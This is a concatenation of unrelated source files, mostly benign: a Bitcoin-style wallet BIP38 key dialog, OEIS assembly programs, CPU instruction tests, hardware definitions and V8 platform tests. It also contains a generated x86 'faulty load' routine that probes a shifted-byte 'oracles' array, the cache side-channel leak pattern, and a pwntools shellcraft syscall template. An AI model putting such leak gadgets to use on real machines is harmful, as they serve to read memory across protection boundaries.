QString qstrPassphrase = ui->passphraseIn_ENC->text();
QString strInvalid;
if (!isValidPassphrase(qstrPassphrase, strInvalid)) {
ui->statusLabel_ENC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_ENC->setText(tr("The entered passphrase is invalid. ") + strInvalid + QString(" is not valid") + QString(" ") + tr("Allowed: 0-9,a-z,A-Z,") + specialChar);
return;
}
CBitcoinAddress addr(ui->addressIn_ENC->text().toStdString());
if (!addr.IsValid()) {
ui->statusLabel_ENC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_ENC->setText(tr("The entered address is invalid.") + QString(" ") + tr("Please check the address and try again."));
return;
}
CKeyID keyID;
if (!addr.GetKeyID(keyID)) {
ui->addressIn_ENC->setValid(false);
ui->statusLabel_ENC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_ENC->setText(tr("The entered address does not refer to a key.") + QString(" ") + tr("Please check the address and try again."));
return;
}
WalletModel::UnlockContext ctx(model->requestUnlock(AskPassphraseDialog::Context::BIP_38, true));
if (!ctx.isValid()) {
ui->statusLabel_ENC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_ENC->setText(tr("Wallet unlock was cancelled."));
return;
}
CKey key;
if (!pwalletMain->GetKey(keyID, key)) {
ui->statusLabel_ENC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_ENC->setText(tr("Private key for the entered address is not available."));
return;
}
std::string encryptedKey = BIP38_Encrypt(addr.ToString(), qstrPassphrase.toStdString(), key.GetPrivKey_256(), key.IsCompressed());
ui->encryptedKeyOut_ENC->setText(QString::fromStdString(encryptedKey));
}
void Bip38ToolDialog::on_copyKeyButton_ENC_clicked()
{
GUIUtil::setClipboard(ui->encryptedKeyOut_ENC->text());
}
void Bip38ToolDialog::on_clearButton_ENC_clicked()
{
ui->addressIn_ENC->clear();
ui->passphraseIn_ENC->clear();
ui->encryptedKeyOut_ENC->clear();
ui->statusLabel_ENC->clear();
ui->addressIn_ENC->setFocus();
}
CKey key;
void Bip38ToolDialog::on_pasteButton_DEC_clicked()
{
// Paste text from clipboard into recipient field
ui->encryptedKeyIn_DEC->setText(QApplication::clipboard()->text());
}
void Bip38ToolDialog::on_decryptKeyButton_DEC_clicked()
{
string strPassphrase = ui->passphraseIn_DEC->text().toStdString();
string strKey = ui->encryptedKeyIn_DEC->text().toStdString();
uint256 privKey;
bool fCompressed;
if (!BIP38_Decrypt(strPassphrase, strKey, privKey, fCompressed)) {
ui->statusLabel_DEC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_DEC->setText(tr("Failed to decrypt.") + QString(" ") + tr("Please check the key and passphrase and try again."));
return;
}
key.Set(privKey.begin(), privKey.end(), fCompressed);
CPubKey pubKey = key.GetPubKey();
CBitcoinAddress address(pubKey.GetID());
ui->decryptedKeyOut_DEC->setText(QString::fromStdString(CBitcoinSecret(key).ToString()));
ui->addressOut_DEC->setText(QString::fromStdString(address.ToString()));
}
void Bip38ToolDialog::on_importAddressButton_DEC_clicked()
{
WalletModel::UnlockContext ctx(model->requestUnlock(AskPassphraseDialog::Context::BIP_38, true));
if (!ctx.isValid()) {
ui->statusLabel_DEC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_DEC->setText(tr("Wallet unlock was cancelled."));
return;
}
CBitcoinAddress address(ui->addressOut_DEC->text().toStdString());
CPubKey pubkey = key.GetPubKey();
if (!address.IsValid() || !key.IsValid() || CBitcoinAddress(pubkey.GetID()).ToString() != address.ToString()) {
ui->statusLabel_DEC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_DEC->setText(tr("Data Not Valid.") + QString(" ") + tr("Please try again."));
return;
}
CKeyID vchAddress = pubkey.GetID();
{
ui->statusLabel_DEC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_DEC->setText(tr("Please wait while key is imported"));
pwalletMain->MarkDirty();
pwalletMain->SetAddressBook(vchAddress, "", "receive");
// Don't throw error in case a key is already there
if (pwalletMain->HaveKey(vchAddress)) {
ui->statusLabel_DEC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_DEC->setText(tr("Key Already Held By Wallet"));
return;
}
pwalletMain->mapKeyMetadata[vchAddress].nCreateTime = 1;
if (!pwalletMain->AddKeyPubKey(key, pubkey)) {
ui->statusLabel_DEC->setStyleSheet("QLabel { color: red; }");
ui->statusLabel_DEC->setText(tr("Error Adding Key To Wallet"));
return;
}
// whenever a key is imported, we need to scan the whole chain
pwalletMain->nTimeFirstKey = 1; // 0 would be considered 'no value'
pwalletMain->ScanForWalletTransactions(chainActive.Genesis(), true);
}
ui->statusLabel_DEC->setStyleSheet("QLabel { color: green; }");
ui->statusLabel_DEC->setText(tr("Successfully Added Private Key To Wallet"));
}
void Bip38ToolDialog::on_clearButton_DEC_clicked()
{
ui->encryptedKeyIn_DEC->clear();
ui->decryptedKeyOut_DEC->clear();
ui->passphraseIn_DEC->clear();
ui->statusLabel_DEC->clear();
ui->encryptedKeyIn_DEC->setFocus();
}
bool Bip38ToolDialog::eventFilter(QObject* object, QEvent* event)
{
if (event->type() == QEvent::MouseButtonPress || event->type() == QEvent::FocusIn) {
if (ui->tabWidget->currentIndex() == 0) {
/* Clear status message on focus change */
ui->statusLabel_ENC->clear();
/* Select generated signature */
if (object == ui->encryptedKeyOut_ENC) {
ui->encryptedKeyOut_ENC->selectAll();
return true;
}
} else if (ui->tabWidget->currentIndex() == 1) {
/* Clear status message on focus change */
ui->statusLabel_DEC->clear();
}
}
return QDialog::eventFilter(object, event);
}
|
; A211850: Number of nonnegative integer arrays of length 2n+5 with new values 0 upwards introduced in order, no three adjacent elements all unequal, and containing the value n+1.
; 63,147,286,494,785,1173,1672,2296,3059,3975,5058,6322,7781,9449,11340,13468,15847,18491,21414,24630,28153,31997,36176,40704,45595,50863,56522,62586,69069,75985,83348,91172,99471,108259,117550,127358,137697,148581,160024,172040,184643,197847,211666,226114,241205,256953,273372,290476,308279,326795,346038,366022,386761,408269,430560,453648,477547,502271,527834,554250,581533,609697,638756,668724,699615,731443,764222,797966,832689,868405,905128,942872,981651,1021479,1062370,1104338,1147397,1191561
mov $3,$0
add $0,2
mov $5,5
lpb $0
sub $0,1
add $2,$5
trn $1,$2
add $4,$2
add $5,3
add $2,$5
sub $2,1
add $4,$5
add $4,1
add $4,$0
add $5,4
lpe
add $1,3
mov $5,$4
sub $5,$1
mov $1,5
add $1,$5
sub $1,3
lpb $3
add $1,2
sub $3,1
lpe
add $1,9
mov $0,$1
|
// Original test: ./mshi/hw4/problem6/bnez_1.asm
// Author: mshi
// Test source code follows
lbi r1, 1
bnez r1, .Label2
.Label1:
lbi r2,0
.Label2:
lbi r2,1
halt
|
; A105062: Triangle read by rows, based on the morphism f: 1->2, 2->3, 3->4, 4->5, 5->6, 6->{6,6,10,7}, 7->8, 8->9, 9->10, 10->11, 11->12, 12->{12,12,5,1}. First row is 1. If current row is a,b,c,..., then the next row is a,b,c,...,f(a),f(b),f(c),...
; 1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,2,3,3,4,3,4,4,5,3,4,4,5,4,5,5,6,2,3,3,4,3,4,4,5,3,4
add $0,1
mov $1,$0
lpb $0
div $1,2
sub $0,$1
lpe
mov $1,$0
|
;
; Old School Computer Architecture - SD Card driver
; Taken from the OSCA Bootcode by Phil Ruston 2011
; Port by Stefano Bodrato, 2012
;
; int sd_read_sector(struct SD_INFO descriptor, long sector, unsigned char *address);
;
; sd_card_info and card_select must be accessible,
; a good place to put them is in the vars declared in the CRT0 stub
;
; on exit: 0 if all OK or error code
;
; $Id: sd_read_block_2gb_callee.asm,v 1.5 2017-01-03 00:27:43 aralbrec Exp $
;
PUBLIC sd_read_block_2gb_callee
PUBLIC _sd_read_block_2gb_callee
PUBLIC ASMDISP_SD_READ_BLOCK_2GB_CALLEE
EXTERN sd_card_info
EXTERN card_select
EXTERN sd_read_sector_main
EXTERN sd_set_sector_addr_regs
EXTERN sd_send_command_current_args
EXTERN sd_wait_data_token
EXTERN sd_deselect_card
INCLUDE "sdcard.def"
INCLUDE "target/osca/def/osca.def"
sd_read_block_2gb_callee:
_sd_read_block_2gb_callee:
pop af ; ret addr
pop hl ; dst addr
exx
pop hl ; sector pos lsb
pop de ; sector pos msb
pop ix ; SD_INFO struct
push af
.asmentry
IF SDHC_SUPPORT
ld a,(sd_card_info)
and $10
ld a,sd_error_too_big
jr nz,read_end ; if SDHC card, linear addressing is not supported
ENDIF
; ptr to MMC mask to be used to select port
ld a,(ix+1) ; or any other hw dependent reference to current slot
ld (card_select), a
ld a,(ix+2)
ld (sd_card_info), a
sub a ; reset carry flag
call sd_set_sector_addr_regs
ld a,CMD17 ; Send CMD17 read sector command
call sd_send_command_current_args
ld a,sd_error_bad_command_response
jr nz,read_end ; if ZF set command response is $00
call sd_wait_data_token ; wait for the data token
ld a,sd_error_data_token_timeout
jr nz,read_end ; ZF set if data token reeceived
;..............................................................................................
exx
call sd_read_sector_main
;..............................................................................................
read_end:
call sd_deselect_card ; Routines always deselect card on return
ld h,0
ld l,a
ret
DEFC ASMDISP_SD_READ_BLOCK_2GB_CALLEE = asmentry - sd_read_block_2gb_callee
|
<%
from pwnlib.shellcraft.thumb.linux import syscall
%>
<%page args="fd, addr, addr_len"/>
<%docstring>
Invokes the syscall accept. See 'man 2 accept' for more information.
Arguments:
fd(int): fd
addr(SOCKADDR_ARG): addr
addr_len(socklen_t): addr_len
</%docstring>
${syscall('SYS_accept', fd, addr, addr_len)}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r13
push %rax
push %rdi
push %rdx
lea addresses_WT_ht+0x1ba7e, %r12
nop
nop
nop
nop
xor $3427, %rdx
mov (%r12), %r13w
nop
nop
nop
and $17973, %rdi
lea addresses_UC_ht+0x1467e, %rdx
nop
nop
nop
nop
sub $13944, %rax
mov $0x6162636465666768, %rdi
movq %rdi, %xmm0
vmovups %ymm0, (%rdx)
nop
nop
nop
nop
sub %r12, %r12
lea addresses_D_ht+0x87e, %r13
nop
nop
nop
nop
cmp $30281, %r11
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
movups %xmm3, (%r13)
nop
nop
nop
nop
inc %rdx
pop %rdx
pop %rdi
pop %rax
pop %r13
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r15
push %rbp
push %rbx
push %rdi
// Store
lea addresses_WT+0x367e, %r12
nop
nop
dec %r13
movw $0x5152, (%r12)
nop
nop
sub $19616, %r15
// Store
lea addresses_RW+0x1be7e, %r11
and $16874, %rbx
movl $0x51525354, (%r11)
nop
xor %rbp, %rbp
// Faulty Load
lea addresses_WT+0x367e, %rdi
cmp %r12, %r12
movups (%rdi), %xmm6
vpextrq $1, %xmm6, %rbx
lea oracles, %r13
and $0xff, %rbx
shlq $12, %rbx
mov (%r13,%rbx,1), %rbx
pop %rdi
pop %rbx
pop %rbp
pop %r15
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 2}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_RW', 'AVXalign': False, 'size': 4}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': True, 'congruent': 7, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 32}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 9, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}}
{'64': 1, '7f': 12, 'd4': 1, 'fc': 3, 'b2': 1, '47': 157, '56': 22, '0b': 78, 'a6': 590, '48': 12, '58': 13, 'cb': 265, '4d': 34, '00': 3587, '42': 393, 'd1': 1, '90': 416, '2d': 8, 'f9': 1, 'b3': 1, '8b': 223, '27': 15, '39': 1, '96': 87, '4e': 1, 'b4': 120, '54': 24, '41': 92, 'd2': 376, 'c7': 418, '7d': 23, '94': 354, '9d': 191, 'b9': 334, 'ef': 896, '9e': 24, '6b': 8, 'c2': 595, '40': 2654, 'd0': 270, '95': 84, '80': 1, 'ff': 5539, '04': 298, 'b0': 810, '83': 127, '08': 513, '7a': 15, 'bb': 88, 'b1': 87, 'cc': 92, '09': 86, 'db': 1, '78': 12, 'c8': 88, '81': 209, '66': 117, 'da': 1, '82': 1, 'd9': 480, '9a': 337, '97': 449, 'ba': 92}
00 00 00 97 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 ff ff 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 40 00 ff ff ff 00 ff ff ff ff 00 ff 00 ff ff 00 ff ff 00 ff 00 ff ff 00 ff 00 ff ff 00 ff 00 ff 00 ff ff ff 00 ff ff 00 ff 00 ff 00 ff ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff ff ff ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff ff ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff ff 00 ff 00 ff ff 00 ff ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff ff ff 00 ff 00 ff 00 ff 00 ff 00 ff 00 ff ff ff 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 ff ff ff ff ff ff ff ff ff 97 97 97 97 97 97 97 97 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 ff 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 42 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 da 00 ff 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 42 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 db d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 42 00 ff 42 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 42 d9 d9 d9 d9 d9 d9 d9 d9 d9 42 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 42 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 42 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 42 d9 d9 d9 d9 d9 d9 d9 42 d9 d9 d9 d9 d9 d9 d9 d9 42 42 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 00 42 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 d9 ff ff ff ff
*/
|
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=FLAG_OF|FLAG_SF|FLAG_ZF|FLAG_AF|FLAG_PF|FLAG_CF
;TEST_FILE_META_END
; allocate 16 byte aligned stack space for the packed values
lea ecx, [esp-17]
and ecx, 0xfffffff0
; load 128 bit value into xmm0
mov DWORD [ecx], 0x00d05602
mov DWORD [ecx+4], 0x015105a5
mov DWORD [ecx+8], 0xd1a21111
mov DWORD [ecx+12], 0xaaaaaaaa
movaps xmm0, [ecx]
lea ecx, [ecx+16]
;TEST_BEGIN_RECORDING
lea ecx, [esp-17]
and ecx, 0xfffffff0 ; using this requires us to ignore ALU flags
mov DWORD [ecx], 0xa10de002
mov DWORD [ecx+4], 0x120150aa
mov DWORD [ecx+8], 0x4ead1111
mov DWORD [ecx+12], 0xaaaaaaaa
pcmpeqq xmm0, [ecx]
mov ecx, [ecx]
xor ecx, ecx
;TEST_END_RECORDING
xor ecx, ecx
cvtsi2sd xmm0, ecx
|
; megamini-defs.asm
*pragmapush list ; Save state of list pragma
pragma nolist ; Turn off assembly listing and exclude from symbol list
ifndef MEGA_DEFS ; Load defines only once
ifndef MPI_DEFS
include mpi-defs.asm
endc
; MEGA-mini MPI by Ed Snider
; https://thezippsterzone.com/wp-content/uploads/2018/12/MEGAmini-manual.pdf
;
; 4-slot multipak interface
; Yamaha YMF262 (OPL3) sound chip
; (2) high speed UARTS (5v TTL)
; (3) programmable timers (two on the YMF chip)
; Source maskable IRQ system using FIRQ (/CART)
; Improved sound routing (software selectable source)
;
;MPI_REG equ $ff7f ; Multi-pak programming register (Read and Write)
; Bit 7:4 - # of active CART and CTS slot (ROM $C000-$DFFF)
; Bit 3:0 - # of active SCS slot (I/O $FF40-$FF5F)
;
; 0000 - Slot 1 selected
; 0001 - Slot 2 selected
; 0010 - Slot 3 selected
; 0011 - Slot 4 selected
; 0100 - MEGA-mini Virtual Slot 5 selected - VMF-262M (OPL3) Sound Chip
; 0101 - MEGA-mini Virtual Slot 6 selected - UARTs
; 1111 - MEGA-mini Virtual Slot 16 selected - Enhanched IRQ system
; analog switch
; programmer timer
; Slot numbers
MEGA_SLOT1 equ %00000000 ; Slot #1
MEGA_SLOT2 equ %00000001 ; Slot #2
MEGA_SLOT3 equ %00000010 ; Slot #3
MEGA_SLOT4 equ %00000011 ; Slot #4
MEGA_YMF262 equ %00000100 ; Slot #5 (Virtual) - YMF262 sound chip
MEGA_SERIAL equ %00000101 ; Slot #6 (Virtual) - Serial UARTS
MEGA_EXT equ %00001111 ; Slot #16 (Virtual) - Extended MPI features
; YMF262 (OPL3) Sound Chip
ifndef YMF262_DEFS
include ymf262-defs.asm
endc
; UART A
MEGA_UARTA equ $ff40
MEGA_UARTA_THR equ MEGA_UARTA+0
MEGA_UARTA_IER equ MEGA_UARTA+1
MEGA_UARTA_FCR equ MEGA_UARTA+2
MEGA_UARTA_LCR equ MEGA_UARTA+3
MEGA_UARTA_MCR equ MEGA_UARTA+4
MEGA_UARTA_LSR equ MEGA_UARTA+5
MEGA_UARTA_MSR equ MEGA_UARTA+6
MEGA_UARTA_SPR equ MEGA_UARTA+7
MEGA_UARTA_RESET equ MEGA_UARTA+8
MEGA_UARTA_DATA_MSB equ MEGA_UARTA+10
MEGA_UARTA_DATA_LSB equ MEGA_UARTA+11
; UART B
MEGA_UARTB equ $ff50
MEGA_UARTB_THR equ MEGA_UARTB+0
MEGA_UARTB_IER equ MEGA_UARTB+1
MEGA_UARTB_FCR equ MEGA_UARTB+2
MEGA_UARTB_LCR equ MEGA_UARTB+3
MEGA_UARTB_MCR equ MEGA_UARTB+4
MEGA_UARTB_LSR equ MEGA_UARTB+5
MEGA_UARTB_MSR equ MEGA_UARTB+6
MEGA_UARTB_SPR equ MEGA_UARTB+7
MEGA_UARTB_RESET equ MEGA_UARTB+8
MEGA_UARTB_DATA_MSB equ MEGA_UARTB+10
MEGA_UARTB_DATA_LSB equ MEGA_UARTB+11
; Extended MPI features
MEGA_EXT_BASE equ $ff40
MEGA_EXT_IRQ equ MEGA_EXT_BASE ;
; Bit 7 - Timer IRQ
; Bit 6 - UART B IRQ
; Bit 5 - UART A IRQ
; Bit 4 - YMF262 IRQ
; Bit 3 - Slot #4
; Bit 2 - Slot #3
; Bit 1 - Slot #2
; Bit 0 - Slot #1
MEGA_EXT_ACTIVE_IRQ equ MEGA_EXT_BASE+1 ;
; Bit 7 - Timer
; Bit 6 - UART B
; Bit 5 - UART A
; Bit 4 - YMF262
; Bit 3 - Slot #4 - /Cart
; Bit 2 - Slot #3 - /Cart
; Bit 1 - Slot #2 - /Cart
; Bit 0 - Slot #1 - /Cart
MEGA_EXT_SOUND_SOURCE equ MEGA_EXT_BASE+2 ;
; Bit 7 - Enable IRQ System
; Bit 6 - Enable Timer
; Bits 5:3 - n/a
; Bits 2:0 - Analog switch
; 000 - Slot #1
; 001 - Slot #2
; 010 - Slot #3
; 011 - Slot #4
; 100 - YMF262
MEGA_EXT_TIMER_MSB equ MEGA_EXT_BASE+3 ;
MEGA_EXT_TIMER_LSB equ MEGA_EXT_BASE+4 ;
MEGA_EXT_TIMER_RESET equ MEGA_EXT_BASE+5 ;
; Enhanced IRQ management system (Used for MEGA_EXT_IRQ and MEGA_EXT_ACTIVE_IRQ)
MEGA_IRQ_SLOT1 equ %00000001 ; Slot #1 /cart signal
MEGA_IRQ_SLOT2 equ %00000010 ; Slot #2 /cart signal
MEGA_IRQ_SLOT3 equ %00000100 ; Slot #3 /cart signal
MEGA_IRQ_SLOT4 equ %00001000 ; Slot #4 /cart signal
MEGA_IRQ_YMF262 equ %00010000 ; YMF262
MEGA_IRQ_UARTA equ %00100000 ; UART A IRQ
MEGA_IRQ_UARTB equ %01000000 ; UART B IRQ
MEGA_IRQ_TIMER equ %10000000 ; Timer IRQ
; Sound source select (analog switch) (Used for MEGA_EXT_EXTENDED)
MEGA_SOUND_SLOT0 equ %00000000 ; Analog Switch - Slot #1 (Default at startup)
MEGA_SOUND_SLOT1 equ %00000001 ; Analog Switch - Slot #2
MEGA_SOUND_SLOT2 equ %00000010 ; Analog Switch - Slot #3
MEGA_SOUND_SLOT3 equ %00000011 ; Analog Switch - Slot #4
MEGA_SOUND_YMF262 equ %00000100 ; Analog Switch - YMF262
MEGA_ENABLE_TIMER equ %01000000 ; Enable Timer
MEGA_ENABLE_IRQ equ %10000000 ; Enable IRQ System
MEGA_DEFS equ 1 ; Set flag for defines being loaded
endc
*pragmapop list ; restore assembly listing to previous state
|
#pragma once
#include <condition_variable>
#include <map>
#include <memory>
#include <set>
#include <sstream>
#include <vector>
#include "glog/logging.h"
#include "base/message.hpp"
#include "comm/abstract_sender.hpp"
#include "io/abstract_browser.hpp"
#include "io/meta.hpp"
namespace xyz {
class Assigner {
public:
Assigner(std::shared_ptr<AbstractSender> sender,
std::shared_ptr<AbstractBrowser> browser)
: sender_(sender), browser_(browser) {}
~Assigner() = default;
// public api:
// non threadsafe
int Load(int collection_id, std::string url,
std::vector<std::pair<std::string, int>> slaves,
std::vector<int> num_local_threads,
bool is_load_meta = false, bool is_whole_file = false);
// return true if all blocks finish
bool FinishBlock(FinishedBlock block);
bool Done();
std::map<int, StoredBlock> GetFinishedBlocks() const {
return finished_blocks_;
}
void InitBlocks(std::string url);
bool Assign(int collection_id, std::pair<std::string, int> slave);
std::string DebugStringLocalityMap();
std::string DebugStringBlocks();
std::string DebugStringFinishedBlocks();
int GetNumBlocks();
private:
std::shared_ptr<AbstractBrowser> browser_;
std::shared_ptr<AbstractSender> sender_;
bool init_ = false;
// host -> { local blocks}
std::map<std::string, std::set<std::pair<std::string, size_t>>> locality_map_;
// blocks locality information
std::map<std::pair<std::string, size_t>, std::vector<std::string>> blocks_;
// assigned blocks
std::map<int, std::pair<std::string, size_t>> assigned_blocks_;
// finished blocks
// part_id/block_id: <url, offset, node_id>
std::map<int, StoredBlock> finished_blocks_;
int block_id_ = 0;
int num_finished_ = 0;
int num_assigned_ = 0;
int expected_num_finished_ = 0;
bool is_load_meta_ = false;
bool is_whole_file_ = false;
// <has_locality, no_locality>
std::pair<int, int> locality_count_{0, 0};
};
} // namespace xyz
|
// Copyright 2014 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "src/libplatform/default-platform.h"
#include "testing/gmock/include/gmock/gmock.h"
using testing::InSequence;
using testing::StrictMock;
namespace v8 {
namespace platform {
namespace {
struct MockTask : public Task {
virtual ~MockTask() { Die(); }
MOCK_METHOD0(Run, void());
MOCK_METHOD0(Die, void());
};
class DefaultPlatformWithMockTime : public DefaultPlatform {
public:
DefaultPlatformWithMockTime() : time_(0) {}
double MonotonicallyIncreasingTime() override { return time_; }
void IncreaseTime(double seconds) { time_ += seconds; }
private:
double time_;
};
} // namespace
TEST(DefaultPlatformTest, PumpMessageLoop) {
InSequence s;
int dummy;
Isolate* isolate = reinterpret_cast<Isolate*>(&dummy);
DefaultPlatform platform;
EXPECT_FALSE(platform.PumpMessageLoop(isolate));
StrictMock<MockTask>* task = new StrictMock<MockTask>;
platform.CallOnForegroundThread(isolate, task);
EXPECT_CALL(*task, Run());
EXPECT_CALL(*task, Die());
EXPECT_TRUE(platform.PumpMessageLoop(isolate));
EXPECT_FALSE(platform.PumpMessageLoop(isolate));
}
TEST(DefaultPlatformTest, PumpMessageLoopDelayed) {
InSequence s;
int dummy;
Isolate* isolate = reinterpret_cast<Isolate*>(&dummy);
DefaultPlatformWithMockTime platform;
EXPECT_FALSE(platform.PumpMessageLoop(isolate));
StrictMock<MockTask>* task1 = new StrictMock<MockTask>;
StrictMock<MockTask>* task2 = new StrictMock<MockTask>;
platform.CallDelayedOnForegroundThread(isolate, task2, 100);
platform.CallDelayedOnForegroundThread(isolate, task1, 10);
EXPECT_FALSE(platform.PumpMessageLoop(isolate));
platform.IncreaseTime(11);
EXPECT_CALL(*task1, Run());
EXPECT_CALL(*task1, Die());
EXPECT_TRUE(platform.PumpMessageLoop(isolate));
EXPECT_FALSE(platform.PumpMessageLoop(isolate));
platform.IncreaseTime(90);
EXPECT_CALL(*task2, Run());
EXPECT_CALL(*task2, Die());
EXPECT_TRUE(platform.PumpMessageLoop(isolate));
}
TEST(DefaultPlatformTest, PumpMessageLoopNoStarvation) {
InSequence s;
int dummy;
Isolate* isolate = reinterpret_cast<Isolate*>(&dummy);
DefaultPlatformWithMockTime platform;
EXPECT_FALSE(platform.PumpMessageLoop(isolate));
StrictMock<MockTask>* task1 = new StrictMock<MockTask>;
StrictMock<MockTask>* task2 = new StrictMock<MockTask>;
StrictMock<MockTask>* task3 = new StrictMock<MockTask>;
platform.CallOnForegroundThread(isolate, task1);
platform.CallDelayedOnForegroundThread(isolate, task2, 10);
platform.IncreaseTime(11);
EXPECT_CALL(*task1, Run());
EXPECT_CALL(*task1, Die());
EXPECT_TRUE(platform.PumpMessageLoop(isolate));
platform.CallOnForegroundThread(isolate, task3);
EXPECT_CALL(*task2, Run());
EXPECT_CALL(*task2, Die());
EXPECT_TRUE(platform.PumpMessageLoop(isolate));
EXPECT_CALL(*task3, Run());
EXPECT_CALL(*task3, Die());
EXPECT_TRUE(platform.PumpMessageLoop(isolate));
}
} // namespace platform
} // namespace v8
|
#include "Common.hpp"
#include "MT.hpp"
using namespace reprize;
using namespace utl;
Util::Util(void)
: pvt(NULL), node(NULL)
{
pvt = new utl_pvt;
node = new res::Node("Util");
}
Util::~Util(void)
{
DEL(pvt);
DEL(node);
}
res::Node* Util::get_node(void)
{
return node;
}
const bool Util::init(void)
{
rnd_init(0);
return true;
}
void Util::rnd_init(uInt32 seed_)
{
init_genrand(seed_);
}
uInt32 Util::rnd_ui32(void)
{
return genrand_int32();
}
Int32 Util::rnd_i32(void)
{
return genrand_int31();
}
Float32 Util::rnd_f32(void)
{
return static_cast<Float32>(genrand_real1());
